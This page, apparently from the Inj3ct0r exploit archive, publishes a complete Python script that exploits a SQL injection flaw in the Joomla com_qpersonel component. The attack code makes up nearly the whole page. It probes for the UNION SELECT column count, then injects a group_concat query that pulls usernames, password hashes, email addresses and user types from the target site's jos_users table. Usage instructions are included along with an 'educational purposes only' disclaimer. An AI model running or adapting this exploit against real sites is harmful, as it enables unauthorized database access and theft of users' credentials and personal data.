Home / os / win7

Joomla com_qpersonel SQL Injection Exploit

Posted on 24 May 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>Joomla com_qpersonel SQL Injection Exploit</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>========================================== Joomla com_qpersonel SQL Injection Exploit ========================================== #!/usr/bin/python # Joomla com_qpersonel SQL Injection Remote Exploit # Version 1.0 (23th May 2010 (public release) # By Valentin Hoebel (valentin@xenuser.org) # ASCII FOR BREAKFAST # # EXPLOIT BASED ON MY COLUMN FUZZER # Fuzzer was enhanced so it serves as a Joomla Exploiter template # # ------------------------------------------------------------------------ # Exploits the SQL injection vulnerability I discovered # on 13th April 2010. # # Copy, modify, distribute and share the code as you like! # Warning: I am not responsible for any damage you might cause! # Exploit written for educational purposes only. import sys, re, urllib, urllib2, string from urllib2 import Request, urlopen, URLError, HTTPError # Define the max. amounts for trying max_columns = 100 # Prints usage def print_usage(): print &quot;&quot; print &quot;=================================================================================&quot; print &quot; Joomla com_qpersonel SQL Injection Remote Exploit&quot; print &quot; by Valentin Hoebel (valentin@xenuser.org)&quot; print &quot;&quot; print &quot; Vulnerable URL example:&quot; print &quot; http://target/index.php?option=com_qpersonel&amp;task=qpListele&amp;katid=1&quot; print &quot;&quot; print &quot; Usage:&quot; print &quot; -u &lt;URL&gt; (e.g. -u &quot;http://target/index.php?option=com_qpersonel&amp;task=qpListele&amp;katid=1&quot;)&quot; print &quot; --help (displays this text)&quot; print &quot;&quot; print &quot; Read the source code if you want to know more about this vulnerability.&quot; print &quot; For educational purposes only! I am not responsible if you cause any damage!&quot; print &quot;&quot; print &quot;=================================================================================&quot; print &quot;&quot; print &quot;&quot; return #Prints banner def print_banner(): print &quot;&quot; print &quot;=================================================================================&quot; print &quot;&quot; print &quot; Joomla com_qpersonel SQL Injection Remote Exploit&quot; print &quot; by Valentin Hoebel (valentin@xenuser.org)&quot; print &quot;&quot; print &quot; For educational purposes only! I am not responsible if you cause any damage!&quot; print &quot;&quot; print &quot;=================================================================================&quot; print &quot;&quot; return # Testing if URL is reachable, with error handling def test_url(): print &quot;&gt;&gt; Checking if connection can be established...&quot; try: response = urllib2.urlopen(provided_url) except HTTPError, e: print &quot;&gt;&gt; The connection could not be established.&quot; print &quot;&gt;&gt; Error code: &quot;, e.code print &quot;&gt;&gt; Exiting now!&quot; print &quot;&quot; sys.exit(1) except URLError, e: print &quot;&gt;&gt; The connection could not be established.&quot; print &quot;&gt;&gt; Reason: &quot;, e.reason print &quot;&gt;&gt; Exiting now!&quot; print &quot;&quot; sys.exit(1) else: valid_target = 1 print &quot;&gt;&gt; Connected to target! URL seems to be valid.&quot; print &quot;&quot; return # Find correct amount of columns for the SQL Injection and enhance with Joomla exploitation capabilities def find_columns(): # Define some important variables and make the script a little bit dynamic number_of_columns = 1 column_finder_url_string = &quot;+AND+1=2+UNION+SELECT+&quot; column_finder_url_message = &quot;0x503077337220743020743368206330777321&quot; column_finder_url_message_plain = &quot;P0w3r t0 t3h c0ws!&quot; column_finder_url_terminator = &quot;+from+jos_users--&quot; next_column = &quot;,&quot; column_finder_url_sample = &quot;group_concat(0x503077337220743020743368206330777321,name,username,password,email,usertype,0x503077337220743020743368206330777321)&quot; # Craft the final URL to check final_check_url = provided_url+column_finder_url_string+column_finder_url_message print &quot;&gt;&gt; Trying to find the correct number of columns...&quot; for x in xrange(1, max_columns): # Visit website and store response source code of site final_check_url2 = final_check_url+column_finder_url_terminator response = urllib2.urlopen(final_check_url2) html = response.read() find_our_injected_string = re.findall(column_finder_url_message_plain, html) # When the correct amount was found we display the information and exit if len(find_our_injected_string) != 0: print &quot;&gt;&gt; Correct number of columns found!&quot; print &quot;&gt;&gt; Amount: &quot;, number_of_columns # Craft our exploit query malicious_query = string.replace(final_check_url2, column_finder_url_message, column_finder_url_sample) print &quot;&quot; print &quot;&gt;&gt; Trying to fetch the first user of the Joomla user table...&quot; # Receive the first user of the Joomla user table response = urllib2.urlopen(malicious_query) html = response.read() get_secret_data = string.find(html, &quot;P0w3r t0 t3h c0ws!&quot;) get_secret_data += 18 new_html = html[get_secret_data :] new_get_secret_data = string.find(new_html, &quot;P0w3r t0 t3h c0ws!&quot;) new_html_2 = new_html[:new_get_secret_data] print &quot;name, username, password, e-mail address and user status are shown&quot; print new_html_2 print &quot;&quot; # Offer to display all entries of the Joomla user table user_reply = str(raw_input(&quot;&gt;&gt; Do you want to display all Joomla users? Replying with Yes will show you the source code response of the website. (Yes/No) &quot;)) if user_reply == &quot;Y&quot; or user_reply == &quot;y&quot; or user_reply == &quot;Yes&quot; or user_reply == &quot;yes&quot;: print &quot;&quot; print &quot;-------------------------------------------------------------&quot; print new_html print &quot;-------------------------------------------------------------&quot; print &quot;The seperator for the single entries is: &quot;, column_finder_url_message_plain print &quot;Bye!&quot; print &quot;&quot; print &quot;&quot; sys.exit(1) else: print &quot;Bye!&quot; print &quot;&quot; print &quot;&quot; sys.exit(1) # Increment counter var by one number_of_columns += 1 #Add a new column to the URL final_check_url += next_column final_check_url += column_finder_url_message # If fuzzing is not successfull print this message print &quot;&gt;&gt; Fuzzing was not successfull. Maybe the target is not vulnerable?&quot; print &quot;Bye!&quot; print &quot;&quot; print &quot;&quot; # Checking if argument was provided if len(sys.argv) &lt;=1: print_usage() sys.exit(1) for arg in sys.argv: # Checking if help was called if arg == &quot;--help&quot;: print_usage() sys.exit(1) # Checking if URL was provided, if yes -&gt; go! if arg == &quot;-u&quot;: provided_url = sys.argv[2] print_banner() # At first we test if we can actually reach the provided URL test_url() # Now start with finding the correct amount of columns find_columns() ### EOF ### # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-05-24]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

TOP